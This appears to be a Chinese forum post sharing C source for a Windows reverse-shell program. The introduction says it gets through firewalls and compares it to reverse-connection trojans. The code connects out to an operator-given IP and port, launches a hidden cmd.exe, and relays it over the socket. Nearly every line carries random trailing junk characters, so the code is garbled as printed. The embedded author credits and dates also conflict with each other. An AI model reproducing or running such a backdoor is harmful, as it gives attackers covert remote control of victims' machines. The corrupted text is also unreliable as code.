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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [@Mo3]#\  
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/* ============================== uc aa;zj  
Rebound port in Windows NT 2`J#)f|  
By wind,2006/7 [*1:?mD$  
===============================*/ M)3'\x :  
#include `#4q7v~>oe  
#include 'm0_pM1:D  
y+h/jEbM</  
#pragma comment(lib,"wsock32.lib") Yf_/c*t\5  
m-]F]c=)w<  
void OutputShell(); p ^ ONJL  
SOCKET sClient; o_a'<7\#i  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; eW;c 3<  
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void main(int argc,char **argv) S 9|^VU  
{ {01^xn.  
WSADATA stWsaData; M[P1hFuna  
int nRet; |h & q  
SOCKADDR_IN stSaiClient,stSaiServer; mFt\xGa  
mYbu1542'n  
if(argc != 3) a fLE9  
{ M[cAfu  
printf("Useage:\n\rRebound DestIP DestPort\n"); (-xVW#39  
return; iy|;xBI,  
} a]!u go}  
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WSAStartup(MAKEWORD(2,2),&stWsaData); duc\/S'  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \+"Jg/)ij  
5xQ5)B4k  
stSaiClient.sin_family = AF_INET; WO$8j2!~#  
stSaiClient.sin_port = htons(0); F`>qg2wO  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `4wy *!]  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5t|$Yt[  
{ Q)\[wYMt  
printf("Bind Socket Failed!\n"); h{ZK;(u$  
return; MAQ-'s@  
} Y$_^f*sFn  
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stSaiServer.sin_family = AF_INET; 6=96^o*  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !-t"}^)  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); WW-}c;cnK  
? M.'YB2  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >7z(?nQYT^  
{ n[\L6}  
printf("Connect Error!"); 9'p*7o  
return; %~P3t=r  
} \d3~kq3  
OutputShell(); #Q BW%L  
} JsEnhE}]  
5=  V29  
void OutputShell() SNf~%B?`L  
{ [LrO"9q(  
char szBuff[1024]; zb s7G  
SECURITY_ATTRIBUTES stSecurityAttributes; iLNO}EUL  
OSVERSIONINFO stOsversionInfo; O^8=Xj#}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Zzmo7kFx3  
STARTUPINFO stStartupInfo; 7!;zkou  
char *szShell; 0^)~p{Zh  
PROCESS_INFORMATION stProcessInformation; Jl|^^?  
unsigned long lBytesRead; 8 mt#S  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H9Vn(A8&`  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >1HXC2 Y  
stSecurityAttributes.lpSecurityDescriptor = 0; }"[/BT5t  
stSecurityAttributes.bInheritHandle = TRUE; {kvxz  
}?MbU6"  
kx;7/fH  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Q_dMuoI  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &UO/p/a  
93 =?^  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); V9cj  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _|{Z850AS  
stStartupInfo.wShowWindow = SW_HIDE; 5g.K yj|  
stStartupInfo.hStdInput = hReadPipe; 9P*f  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wUL 5"\  
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GetVersionEx(&stOsversionInfo); ?1r<`o3l\  
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switch(stOsversionInfo.dwPlatformId) &q M8)2Y  
{ f1 XM_  
case 1: OGO\u#  
szShell = "command.com"; 4UND;I&  
break; [;UI8St w  
default: GNSh`Tm=#  
szShell = "cmd.exe"; 5W=Jn?y2  
break; m -0EcA/  
} #99=wn  
d. ZfK  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7Sh1QDYZ  
tKds|0,j|  
send(sClient,szMsg,77,0); CWJN{  
while(1) f{u S  
{ 4vNH"72P  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); wFjQ1<s=  
if(lBytesRead) gSf >+|  
{ 4J?\JcGs  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /2MZH  
send(sClient,szBuff,lBytesRead,0); 8~T=p:z'  
} ?y__ Vrw  
else tI5*0  
{ Mb45UG#2  
lBytesRead=recv(sClient,szBuff,1024,0); EVE"F'Ww,_  
if(lBytesRead<=0) break; &.PAIe.  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); e_g&L)  
} ux,eY  
} SLp nVD:'1  
U#<{RqY  
return; F`,Hf Cb\  
}
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